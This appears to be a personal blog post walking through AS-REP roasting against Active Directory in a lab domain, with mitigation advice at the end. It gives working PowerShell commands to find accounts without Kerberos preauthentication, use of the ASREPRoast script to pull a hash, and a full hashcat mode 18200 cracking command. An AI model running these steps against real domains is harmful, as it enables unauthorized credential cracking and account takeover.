The ASREP attack, what it is, & do you need to worry about it

4 min readDec 8, 2021

TL;DR this attack isn’t new, but it was new to me. I saw it mentioned in a class. How to get the hash was demonstrated, but not the cracking portion. It took me a bit of trial & error to get it right in hashcat, so I figured I would bother writing it up.


ASREP is a cousin of sorts to the old Kerberoast attack. Both only require Domain User access, entail enumerating user accounts to find targets, involve a non-default setting on AD user accounts, and will likely work if the target account has a weak password set. Kerberoasting abuses the ServicePrincipalName (SPN) to request a ticket that is encrypted with the target account’s hash. ASREP abuses the DONT_REQ_PREAUTH to pretend to be the targeted account and request a ticket.

Lab Setup

The good news is that DONT_REQ_PREAUTH is not a default setting in Active Directory (AD), nor is it something that is likely to be enabled by accident. It is something to be aware of, particularly in older environments. In this scenario we have an account name LegacyService on the domain test.local. This account may be hanging around from a prior need for backwards compatibility, for some obscure cross platform service, whatever. The DON’T_REQ_PREAUTH can be enabled in Active Directory Administrative Center (ADAC):

Active Directory Users and Computers (ADUC):

Or by simply executing the PowerShell query:

Get-ADUser LegacyService | Set-ADAccountControl -DoesNotRequirePreAuth $true

The Attack

We can check our domain for accounts with this set by simply executing the PowerShell query

Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties * | Select-Object SAMAccountName

We then import the handy script ASREPRoast from Will Shroeder, aka HarmJ0y ( via either ‘dot sourcing’ or

Import-Module .\ASREPRoast-master\ASREPRoast-master\ASREPRoast.ps1

Then simply show the hash by

Get-ASREPHash -Username legacy.service -Verbose


  • copy/paste the entire hash
  • insert a ‘$23’ between the ‘$krb5asrep’ and the ‘$legacy.service@test.local’
  • make sure there’s no spaces [aka whitespace] anywhere after the copy/paste
  • enclose the entire thing in single quotes

and run it past hashcat. We use the handy table of hash types and find that mode 18200 is used for Kerberos 5, etype 23, AS-REP. This makes the entire command for this account and hash:

hashcat -m 18200 ‘$krb5asrep$23$legacy.service@test.local:16d06222b3cbd7fae18d2cf6c13a8d8d$cae3a1d7aa73d978c83db2afad38835c49527c1cd6979b7550dc5a3bb4df5acaedd807356cb8d461184c1cbc8f94b8ff75bf899b0896f57c8ec574a81b2b536b86b79f739e529a0feda791248fa55ea4dd282dee5eb271c3860a7a799f0fae1ca255c93344587542052d421c69ad3ce4885bce1c2f147b13768381213891e2fbc7483a6d5b891aeac343dde50e2db278603b0fbd212093483c38eea278d47bb8e1f0298310000c3902d77597242a5e8d46e392f5f5318f85b1e5ec57bfb02c436a65ca963a3eb4bf301fe87c9e2fe7fed5193dd55ead537dbf4f6f7618bfa99ddbfbd46b5eb6c268’ -a 3 10k-worst-pass.txt

I simply copy/pasted to a Kali VM for simplicities sake. After about 15 minutes we find the password.

Obviously this would run much faster on a dedicated cracking build than on the dinky VM I use for testing.


Just like Kerberoasting, any Domain User can enumerate potentially vulnerable accounts, request a ticket, and attempt to crack the hash offline. Given a weak password they might succeed. Hence mitigation is simple. Ensure you do not have any accounts in your environment without Kerberos pre-authentication required. If for some reason you require an account like this for some legacy purpose then make sure it has a very long password that is unlikely to be in any wordlist, change it regularly, and monitor for abuse.


Again this is not a new attack, but it was new to me and I wanted to test it out in the lab. If you find this useful, particularly the exact hashcat syntax, then great!





I work various IT jobs & like Windows domain security as a hobby. Most of what’s here is my notes from auditing or the lab.